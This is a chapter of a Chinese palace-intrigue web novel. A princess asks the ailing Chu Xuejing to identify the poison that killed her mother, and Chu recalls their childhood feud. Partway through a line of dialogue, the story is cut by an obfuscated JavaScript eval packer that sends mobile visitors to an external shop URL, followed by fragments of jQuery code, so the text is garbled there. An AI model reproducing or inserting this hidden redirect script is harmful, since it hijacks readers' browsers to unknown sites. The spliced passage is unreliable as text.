46.老虎
    “等等!”

    萧云瑶干脆伸长手臂扒拉住屋内的墙,才得以阻拦青冬势必要关窗的架势。

    她这么可怜这么凄惨地蹲在她窗外,没看见就罢了,怎么瞧见她了还这样啊!

    她气急败坏地冲着女人喊道:“褚雪镜你没有心!”

    “我们家小姐心可好了!”青冬才不管眼前这人是郡主还是公主,总之站在窗户外面还能拿她怎么着,“你这样我关不了窗!”

    “你!”她活了十几年还没人敢这么和她说话,眼看褚雪镜的身影要消失在视线里,萧云瑶急得跺脚,“褚雪镜!”

    “青冬,”女人含着笑意的声音从帘后传来,“还不请郡主进来?”

    好啊,戏耍她!

    萧云瑶一瞬间便反应过来,可惜为时已晚。

    青冬抓着窗门开也不是关也不是,小姐叫她请人进来,那是请她从窗户翻进来呢,还是把窗户关上请她从门进来呢?

    萧云瑶似乎看穿了她的纠结,狠狠地瞪了她一眼,一甩蓬氅气冲冲地走到前门去。

    青冬默默将窗户合上。

    “大伙的住处皆在西边,怎的就你住在这?”萧云瑶倒也不客气,一进屋就自顾自寻了个地方坐下,“你这住处比我那安逸多。”

    她手脚都冻出了青紫的斑驳,一张小脸惨白,嘴上也干得起皮。褚雪镜将倒好的热茶推到她面前,“郡主来寻我是有事?”

    萧云瑶像炸了毛的猫倏地跳了起来,“谁来找你了?”

    褚雪镜笑而不语,手心托腮抬眸看着她。

    该死了,贼老天真是给了这女人一张惑人心神的脸,单是看一看什么郁气火气都消了。

    萧云瑶深吸一口气,端起茶杯灌酒一般一饮而尽,仿佛这样能浇灭她心中的郁结。

    啪。

    随着杯底落在案上,萧云瑶亦坐了下来,直截了当道:“我娘死了,你应该知道。”

    她故意说得很淡然,但微红的眼眶却藏不住。

    萧云瑶撇过头去,胡乱抹了把脸,“我想请你帮我查,她中的是什么毒。”

    话落,她抿住唇,从袖中取出一只瓷瓶放在梨花桌上。

    褚雪镜目光掠过那只瓷瓶,属实是平平无奇。抚在颊边的指节轻轻敲了敲,褚雪镜却没说应不应,扬声道:“青冬,你先下去,我同郡主有话要说。”

    青冬应了一声一溜烟窜了出去。

    萧婉书虽常在病中,但萧云瑶并未多受冷落,曾经萧婉书康健时便将她看作掌上明珠,即便缠绵病榻依旧提前为她铺了后路——景仁帝这个做舅舅的几乎将她宠成亲女,而她的未婚夫则是京中有名的才子叶程启,只待他科举高中后便可完婚。

    但也是这般,将萧云瑶养成了一个娇纵蛮横的性子。

    京中贵女恶名,褚雪镜占其一,萧云瑶便占其二。

    不过褚雪镜之恶名是背后之人有意为之,萧云瑶则是传言七分作得十分,就是有人不满也不敢大肆宣扬。

    这位“享誉金陵”的郡主如今却在对着另一位“恶名远扬”的病秧子道:“眼下我无路可走,只能来冒险试试你这条路了。”

    褚雪镜眸光微闪,疑惑重复道:“我这条路?”她一个一步三喘、自身难保的药罐子算什么路?

    “如意楼。”萧云瑶目光灼灼地盯着她,她要真相,就顾不得隐瞒,言辞笃定道,“如意楼你见的那位秦大夫,曾是江湖有名的探子,我知道你与她关系匪浅,所以来求你帮忙。”

    死寂。

    褚雪镜倾身将那瓶瓷瓶勾到手中把玩,片刻后才缓缓问:“还有谁知道?”

    她并没有说明确,萧云瑶却心领神会,“只有我和我娘,我没告诉任何人,包括萧胤玦和褚玉霜。”

    萧胤玦和褚玉霜?褚雪镜掀起眼皮,对上面前女人冷漠镇定的视线。

    这是要表明她与那两人是撇清关系的么?

    她弯了弯唇角,眸中却没有什么笑意,“长公主逝世是皇室大事,郡主不信旁人,也不信皇帝?”

    褚雪镜没有直接翻脸,说明事情还有转圜的余地。

    萧云瑶松了口气,冷声道:“我谁都不信。”

    谁都不信,那就是皇帝也不信了,天下之大不韪的话这样旁若无人地讲出来,该说她是傻还是天真呢?

    “你别用这种眼神看我。”萧云瑶拧了拧眉,她自然知道褚雪镜这副模样是在想什么,“你不是那样的人。”

    “哦?”褚雪镜来了兴趣,容色也明亮几分,“我是哪样的人?”

    萧云瑶:“……”

    女人一副你不说我就不动的架势,她只好不情不愿道:“你虽然恶毒、病弱还蠢,但心不坏。”

    褚雪镜:“……”

    她奇道:“你既然对我不满,找我做什么?若要找大夫,你身边不是有现成的么?”秦合欢和她说过,萧云瑶与褚玉霜结识便是因为长公主的病,她对萧婉书的死有疑问,找褚玉霜不是更合适?

    萧云瑶动了动唇正要解释,忽地抬眼诡异地打量着褚雪镜,“你怎么知道……”

    她哼笑,“你私下调查我?该不会是嫉妒褚玉霜和我关系好吧?”

    褚雪镜:“……”

    要说她和萧云瑶的恩怨,还要早早追溯到她九岁刚回金陵的时候,那时她的身体因落湖比现在更差,两三个月都下不得塌,直到开春才恢复了些,正巧碰上长公主大办赏春宴,便随乔恩兰一同出席。

    彼时萧云瑶不过和她同样年岁,但相对于她的羸弱,萧云瑶像是一头有着使不完力气的小牛,又骄傲又神气,一见到褚雪镜就皱眉摇头,仿佛在瞧一只易碎的花瓶。

    “喂!你怎么这么弱啊?”

    这是萧云瑶对褚雪镜说的第一句话。

    褚雪镜当时回的什么她记不清了,只记得萧云瑶小心翼翼地牵着她的手,带着她去看宴上最娇嫩的那朵花。

    然后她就毫无征兆地晕了过去,再醒来已经回到了府中,身边只有哭红眼的乔恩兰和面色严肃的褚回泽。

    她觉得自己的嗓子很痛,几乎要说不出话,但她还是问:“她呢?”

    她晕倒了,萧云瑶会不会很着急很害怕?

    但乔恩兰只是拍了拍她的手,道:“镜儿,你好生养着,会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13260276|134153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好的,别害怕。”

    之后的两年她再也没有见过萧云瑶,一方面是忠远侯夫妇不愿再让她出府,另一方面是她那时根本不知道萧云瑶的身份和名字,想仔细问一问也无从知晓。

    直到她到十四岁时才能行动自如,又一次赏春宴上,她再次见到了萧云瑶。

    这一次她知道了她的名字和身份,可萧云瑶却对她避之不及,好像她是什么洪水猛兽。

    出于少年的自尊心,褚雪镜也不愿次次都热脸贴冷眼,渐渐便和她关系恶劣起来,甚至时而还要呛上两句才罢休。

    前世一直到她死,也不曾和萧云瑶像现在这样心平气和地交谈过一次。

    “罢了。”褚雪镜挑了下眉,从思绪中回神,“虽然你刻薄、娇蛮还讨人厌,但我心善,便当积德了。”

    萧云瑶苦等半天得到这么一句反唇相讥,“呵。”

    “不过……”褚雪镜敛眸,浅笑道,“我也有一件事请郡主帮忙。”

    *

    天界寺斋戒的第四日,长公主的尸身被运回宫中待葬。

    其女萧云瑶作为唯一的亲子,破例允许随母下山。

    祭坛仪式虽无法举行,但念经诵佛不受影响,皇帝下旨自今日起,凡是上寺中参与祈福的朝臣及其家眷,每日卯时三刻都须在佛前参拜祈福,时至卯时中便可离开。

    此举既是为大燕祈福,亦意在安抚长公主亡灵,助其往生。

    佛前跪坐百余人,皆形容肃穆,念念有词,便是诵福结束,也是纷纷颔首告别,寺中清规戒律,一人一房,就是一家夫妻都说不上一句话。

    褚雪镜从蒲团上起身,掀眼望见乔恩兰和褚回泽关切的目光,柔柔笑了笑,点头示意后率先转身出了佛堂。

    前两日见过皇帝后她便猜测,将她单独安排到东边寮房的应是他。

    那日戒律堂中他虽未明说,但字里行间透露出的意思,显然是不信任忠远侯府,却又独独将她摘了出来,想必是因为猜到她亦是重生,有意帮了她一把。

    否则若是同他们住在一处,免不得被监视烦扰,还有……

    她想起皇帝所说的“条件”。

    天子开口,便是金言玉律。景仁帝既然说了可以满足她任何条件,相当于给了她一面免死金牌。

    可惜这面免死金牌不能轻易动用。

    君心难测。

    “小姐!”

    春茵忽然唤她,褚雪镜顿足,轻眨了下眼。

    方才想得出神,她竟不知不觉往住处后边的竹林去了,昨日下了雪,竹叶上还挂着雪衣,静如寒潭。

    “没事。”

    她下意识要转身,却忽然僵在原地。

    不远处,雪色和竹色间,有一抹挺拔如松的白影,长发微垂,闻声朝她的方向偏了偏眸。

    怎么会是他?!

    明明已经忘却的记忆此时卷土重来,少女几乎是踉跄着后退,慌不择路地提裳跑离。

    竹林中,穆时川眉头轻蹙,清俊的脸上少见的有两分不解。

    这还是他第一次见这位褚小姐,为何她一见他就像兔子见了老虎般害怕?